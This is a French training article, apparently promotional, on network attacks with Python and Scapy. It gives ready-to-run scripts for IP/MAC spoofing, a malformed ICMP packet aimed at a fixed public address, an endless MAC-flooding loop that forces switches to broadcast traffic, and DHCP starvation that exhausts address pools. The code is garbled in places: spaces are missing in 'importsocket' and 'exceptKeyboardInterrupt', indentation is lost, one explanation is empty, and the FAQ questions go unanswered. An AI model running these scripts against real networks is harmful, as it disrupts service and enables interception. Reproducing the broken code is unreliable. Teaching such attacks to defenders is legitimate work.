Les attaques sur les réseaux informatiques sont de plus en plus sophistiquées et difficiles à détecter.
Cette complexité croissante entraîne des difficultés pour les administrateurs réseau à protéger efficacement leurs systèmes.
Dans cet article, nous explorerons comment Python et Scapy peuvent être utilisés pour simuler et comprendre ces attaques afin de renforcer la sécurité réseau.
Initiez-vous aux fondamentaux de Python pour devenir pentesteur.

Dans cette partie, nous allons explorer les attaques sur les réseaux informatiques en utilisant Python. Il est important de noter que nous ne couvrirons pas toutes les attaques existantes, mais nous introduirons quelques exemples fondamentaux. Cette première partie vise à vous familiariser avec les concepts de base, en commençant par le spoofing IP. Nous approfondirons les techniques plus avancées dans la deuxième partie de ce chapitre, afin de vous fournir une compréhension complète des méthodes d’attaque et de leur mise en œuvre.
Spoofing IP avec Python et Scapy
Définition : Le spoofing, ou usurpation d’adresse IP, est une technique de hacking qui consiste à envoyer des paquets IP en utilisant une adresse IP source qui n’appartient pas à l’émetteur, c’est-à-dire le hacker. Le but est de masquer l’identité de l’attaquant et les actions effectuées lors d’une attaque sur un serveur ou d’usurper l’identité d’un autre équipement du réseau pour bénéficier d’un service auquel ce dernier a accès.
Exemple de Spoofing avec Scapy
Créez un répertoire nommé `AttaqueRéseau` et commencez par la manipulation suivante concernant le spoofing. Nous utiliserons la bibliothèque `Scapy` de Python.
Code : `spoofing.py`
importsocket
from scapy.all import *
macsrc = "aa:aa:aa:aa:aa:aa"
macdst = "00:50:56:f2:f4:6d"
packet = Ether(src=macsrc,dst=macdst)/IP(dst='192.168.18.2',src='192.168.18.11')/TCP(dport=80,flags='S')
sendp(packet)
Explication :
Info : Ce script crée et envoie un paquet TCP avec une adresse IP source falsifiée. La bibliothèque `Scapy` est utilisée pour créer un paquet Ethernet avec une adresse MAC source spécifiée et une adresse MAC de destination. L’adresse IP source est usurpée pour masquer l’identité de l’attaquant. Ce paquet TCP est destiné au port 80 (HTTP) avec le drapeau SYN, typiquement utilisé pour initier une connexion TCP. Le paquet est ensuite envoyé sur le réseau. Cette technique permet de masquer l’origine réelle des paquets, rendant plus difficile l’identification de l’attaquant.
Création de Paquets Réseau en Python
Nous pouvons aussi créer des paquets mal formés avec Scapy pour tester la sécurité des équipements réseau.
Code : `autre.py`
from scapy.all import *
send(IP(dst="198.221.192.158",ihl=2,version=5)/ICMP())
Explication :
MAC Flooding : Techniques et Sécurité
Le MAC flooding est une technique utilisée pour compromettre les commutateurs réseau en les inondant avec des adresses MAC aléatoires jusqu’à ce qu’ils passent en mode « fail open » , où ils se comportent comme un hub et diffusent les paquets à tous les ordinateurs du réseau.
Code : `MACFlooding.py`
from scapy.all import *
importsys
interface = 'eth0'
pkt = Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
try:
while True:
sendp(pkt,iface=interface)
exceptKeyboardInterrupt:
print("Exiting")
sys.exit(0)
Explication :
Ce script crée et envoie continuellement des paquets Ethernet avec des adresses MAC et IP aléatoires. Utilisant `Scapy` , il génère des adresses MAC et IP aléatoires pour chaque paquet et les envoie via l’interface réseau spécifiée (`eth0`). La boucle `while` permet l’envoi continu des paquets, saturant ainsi la table d’adresses MAC du commutateur réseau. Une fois saturée, le commutateur bascule en mode fail open, se comportant comme un hub, ce qui peut entraîner une diffusion des paquets à toutes les machines du réseau, rendant le réseau vulnérable aux interceptions et aux attaques de type man-in-the-middle.
Attaque DHCP Starvation et Défense
Définition : Le DHCP starvation est une attaque où un attaquant envoie des requêtes DHCP avec des adresses MAC aléatoires pour épuiser le pool d’adresses IP du serveur DHCP, empêchant ainsi de nouveaux clients d’obtenir une adresse IP.
Code : `DHCPSTR.py`
from scapy.all import *
dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12, "0123456789abcdef"))/DHCP(options=[("message-type", "discover"), "end"])
sendp(dhcp_discover,loop=1)
Explication :
Info : Ce script crée et envoie continuellement des requêtes DHCP Discover avec des adresses MAC aléatoires. En utilisant `Scapy` , le paquet Ethernet est construit avec une adresse MAC aléatoire et une adresse de destination en broadcast. Le paquet IP est configuré avec une adresse source de 0.0.0.0 et une adresse de destination en broadcast (255.255.255.255). Les en-têtes UDP sont configurés pour les ports spécifiques au DHCP (source 68, destination 67). Le message BOOTP, contenant une adresse MAC aléatoire, est encapsulé avec des options DHCP indiquant un message de type Discover. Envoyer ces paquets en boucle épuise rapidement le pool d’adresses IP du serveur DHCP, empêchant de nouveaux clients d’obtenir des adresses IP valides.
Nous avons examiné plusieurs techniques d’attaques sur les réseaux informatiques en utilisant Python et Scapy. Ces exemples démontrent comment manipuler les paquets réseau pour diverses fins, telles que masquer l’identité, tester la robustesse des équipements réseau, saturer les tables d’adresses MAC des commutateurs, et épuiser les pools d’adresses DHCP. Ces techniques offrent une vue d’ensemble des capacités d’attaque, et servent de base pour comprendre les méthodes plus complexes et développer des stratégies de défense appropriées.
Formez-vous gratuitement avec Alphorm !
Maîtrisez les compétences clés en IT grâce à nos formations gratuites et accélérez votre carrière dès aujourd'hui.
FAQ
Comment fonctionne le spoofing IP avec Python ?
Qu'est-ce que le MAC flooding et comment l'exécuter ?
Comment créer des paquets mal formés pour tester la sécurité réseau ?
Qu'est-ce qu'une attaque DHCP Starvation et comment la réaliser ?
Pourquoi utiliser Python pour les attaques de réseau ?
Conclusion
En maîtrisant ces techniques d’attaques réseaux, vous pouvez mieux comprendre et protéger vos systèmes contre les menaces potentielles. Comment envisagez-vous d’approfondir vos connaissances en sécurité informatique pour anticiper ces attaques ?